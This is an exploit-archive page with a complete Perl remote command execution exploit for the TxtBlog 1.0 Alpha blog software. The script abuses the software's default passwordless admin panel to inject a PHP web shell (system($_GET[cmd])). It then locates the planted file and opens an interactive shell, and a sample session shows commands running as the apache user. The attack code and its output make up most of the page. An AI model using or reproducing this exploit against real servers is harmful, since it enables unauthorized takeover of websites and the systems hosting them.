what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TxtBlog 1.0 Command Execution

TxtBlog 1.0 Command Execution
Posted Feb 3, 2009
Authored by Osirys | Site y-osirys.com

TxtBlog version 1.0 Alpha remote command execution exploit.

tags | exploit, remote
SHA-256 | 77e92d48c77613b107ba5d46abc7a9bd0872d369378d3087044beccf42731f66

TxtBlog 1.0 Command Execution

Change Mirror Download
#!/usr/bin/perl

# -----------------------------------------------------------------------------
# INFORMATIONS
# -----------------------------------------------------------------------------

# App => TxtBlog v 1.0 Alpha
# Downl => https://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip

# Remote Command Execution Exploit
# by Osirys
# osirys[at]autistici[dot]org
# osirys.org

# I wrote this simple RCE exploit, just becouse by default the blog
# administration password is disabled. So, from admin panel, we can
# create .php files.

# Tested with: Magic Quotes => Off

# ------------------------------------------------------------------
# Exploit in action [>!]
# ------------------------------------------------------------------
# osirys[~]>$ perl rce_bleah.txt https://localhost/txtblogcms-1.0a/

# ---------------------------
# TxtBlog RCE Exploit
# by Osirys
# ---------------------------

# [+] Creating RCE file ..
# [+] RCE Created !
# [+] File found !
# [+] Hi my master, do your job now [!]

# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> whoami
# apache
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>
# ------------------------------------------------------------------

use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;

my $adm_path = "/admin/index.php";
my $rce_crea = $adm_path."?page=create";
my $host = $ARGV[0];


($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

my $url = $host.$adm_path;
my $test = get_req($url);

if ($re !~ /Welcome to the administration/) {
my $url = $path.$rce_crea;
my $code = "title=new+page&blog=%27%3B+%20echo+%22Osirys%3Cbr%3E%22;+system%28%24_GET%5Bcmd%5D%29%3B+%24a+%3D+%27&location=&Submit=Save";
my $length = length($code);
my $data = "POST ".$url." HTTP/1.1\r\n".
"Host: ".$h0st."\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".$length."\r\n\r\n".
$code."\r\n";

my $socket = new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto => 'tcp',
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";

print "[+] Creating RCE file ..\n";
$socket->send($data);

while ((my $e = <$socket>)&&($own != 1)) {
if ($e =~ /Your new blog has been saved/) {
$own = 1;
print "[+] RCE Created ! \n";
}
}
$own == 1 || die "[-] Can't write new file\n";

$mfile = &find_file;
print "[+] Hi my master, do your job now [!]\n\n";
&exec_cmd;

}
else {
print "[-] Administration requires password !\n";
exit(0);
}

sub find_file {
my $year = (localtime)[5] + 1900;
my $month = (localtime)[4];
my $day = (localtime)[3];
if ($month =~ /[0-9]{1}/) { $month =~ s/([0-9]{1})/0$1/; }
if ($day =~ /[0-9]{1}/) { $day =~ s/([0-9]{1})/0$1/; }
for ($i = 0;$i <= 15; $i++) {
my $url = $host."/data/".$year."/".$month."/".$day."-".$i.".php";
my $re = get_req($url);
if ($re =~ /Osirys<br>/) {
$g0t = 1;
print "[+] File found !\n";
$file_path = $url;
return($file_path);
}
}
if ($g0t != 1) {
print "[-] Can't find evil file !\n";
exit(0);
}
}

sub exec_cmd {
my @outs;
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$exec_url = $mfile."?cmd=".$cmd;
$re = get_req($exec_url);
if ($re =~ /Osirys<br>(.)/) {
push(@outs,$re);
foreach my $o(@outs) {
$o =~ s/Osirys<br>//;
print "$o";
}
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}
}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /https:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /https:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub banner {
print "\n".
" --------------------------- \n".
" TxtBlog RCE Exploit \n".
" by Osirys \n".
" --------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Bad hostname! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 https://hostname/cms_path\n\n";
exit(0);
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close